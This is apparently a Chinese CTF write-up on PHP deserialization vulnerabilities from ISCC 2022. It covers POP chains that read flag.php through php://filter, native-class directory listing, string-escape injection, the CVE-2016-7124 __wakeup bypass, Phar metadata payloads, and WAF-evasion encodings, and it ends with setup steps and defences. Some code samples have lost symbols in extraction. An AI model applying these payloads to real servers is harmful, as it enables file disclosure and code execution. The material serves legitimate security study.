ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析

发布时间:2026/7/8 20:15:18

ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析 ISCC 2022 Web 题解5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析在网络安全领域PHP 反序列化漏洞因其高危害性和广泛存在性一直是 CTF 比赛和实际渗透测试中的重点考察对象。本文将深入剖析 ISCC 2022 比赛中出现的 5 类典型 PHP 反序列化漏洞并分享 3 种实用的 WAF 绕过技巧帮助安全研究人员构建完整的漏洞利用思维框架。1. PHP 反序列化漏洞核心原理PHP 反序列化漏洞的本质在于当不可信数据被传递给unserialize()函数时攻击者通过精心构造的序列化字符串触发对象中的魔术方法执行恶意操作。以下为关键魔术方法及其触发场景魔术方法触发时机典型危险操作__wakeup()对象反序列化时文件包含、命令执行__destruct()对象销毁时文件删除、写日志__toString()对象被当作字符串处理时SQL 注入、XSS__call()调用不可访问方法时动态函数执行__get()读取不可访问属性时敏感信息泄露漏洞产生的根本条件存在unserialize()函数且参数可控类中定义了危险魔术方法存在可串联的类方法调用链POP Chain// 典型漏洞代码示例 class VulnerableClass { public $file; function __wakeup() { include($this-file); // 文件包含漏洞 } } $data unserialize($_GET[data]);2. 5 类实战漏洞案例分析2.1 文件包含利用链Pop2022漏洞链构造Road_is_Long::__wakeup() → Road_is_Long::__toString() → Make_a_Change::__get() → Try_Work_Hard::__invoke() → include()关键代码片段class Try_Work_Hard { protected $var flag.php; function __invoke() { $this-append($this-var); // 触发文件包含 } } class Make_a_Change { public $effort; function __get($key) { $function $this-effort; return $function(); // 调用__invoke } }利用步骤构造Try_Work_Hard实例作为Make_a_Change的$effort属性通过Road_is_Long的__toString触发属性访问使用php://filter包装器读取源码$var php://filter/readconvert.base64-encode/resourceflag.php2.2 原生类利用FindmePHP 内置类DirectoryIterator和GlobIterator可被用于目录遍历class Exploit { public $un0 DirectoryIterator; public $un1 glob://f*; } $exp serialize(new Exploit()); // 输出当前目录下f开头的文件注意当禁用危险函数时原生类往往是突破沙箱的关键2.3 字符逃逸攻击当序列化数据经过过滤处理时可能通过字符替换改变原数据结构原始数据s:3:abc;s:5:12345; 过滤规则将abc替换为abcd 结果s:4:abcd;s:5:12345;} // 结构被破坏利用方法计算替换前后的长度差异精心构造填充字符串逃逸出原有数据结构注入新对象2.4 属性数量绕过CVE-2016-7124当序列化字符串中对象属性数量大于实际数量时可绕过__wakeup()执行O:4:User:2:{s:4:name;s:4:test;} // 正常 O:4:User:3:{s:4:name;s:4:test;} // 触发绕过2.5 Phar 反序列化通过上传恶意 Phar 文件触发反序列化// 生成恶意Phar $phar new Phar(exp.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata($exploitObject); // 插入恶意对象 $phar-addFromString(test.txt, test); $phar-stopBuffering(); // 触发方式无需unserialize file_exists(phar://exp.phar);3. WAF 绕过三大技巧3.1 编码混淆技术编码类型示例适用场景Base64Tzo0OiJVc2VyIjoxO...过滤引号时Hex4f3a343a225573657222...关键字检测URL 编码%4f%3a%34%3a%22%55...传输过程编码UTF-16\u004f\u003a\u0034...绕过正则检测3.2 非常规 POP 链构造通过非典型魔术方法构建利用链__sleep() → __toString() → __callStatic()特殊场景利用class X { function __call($a, $b) { call_user_func($this-fn, $b); } } class Y { function __toString() { return $this-x-bypass(); } }3.3 反序列化上下文逃逸当直接反序列化不可行时尝试以下途径通过phar://协议触发利用session_start()的序列化处理器数据库读取操作中的反序列化4. 漏洞环境搭建与复现4.1 Docker 环境配置FROM php:7.4-apache RUN apt-get update apt-get install -y \ libzip-dev \ docker-php-ext-install zip COPY src/ /var/www/html/ EXPOSE 804.2 漏洞验证脚本// 自动化漏洞检测 function check_unserialize($url) { $payloads [ O:8:stdClass:0:{}, a:1:{i:0;i:1;} ]; foreach ($payloads as $p) { $res file_get_contents($url.?data.urlencode($p)); if (strpos($res, Warning) ! false) { return true; } } return false; }5. 防御方案设计多层次防护策略输入处理层使用json_decode()替代unserialize()实施白名单校验$allowed [SafeClassA, SafeClassB]; if (!in_array($className, $allowed)) { throw new Exception(Class not allowed); }运行时防护设置unserialize_callback_funcunserialize_callback_func unserialize_check使用 PHP 7 的allowed_classes选项unserialize($data, [allowed_classes false]);架构设计层实现签名验证机制采用沙箱环境执行反序列化在真实项目中发现通过组合使用这些防御措施能有效阻断 90% 以上的反序列化攻击向量。

相关新闻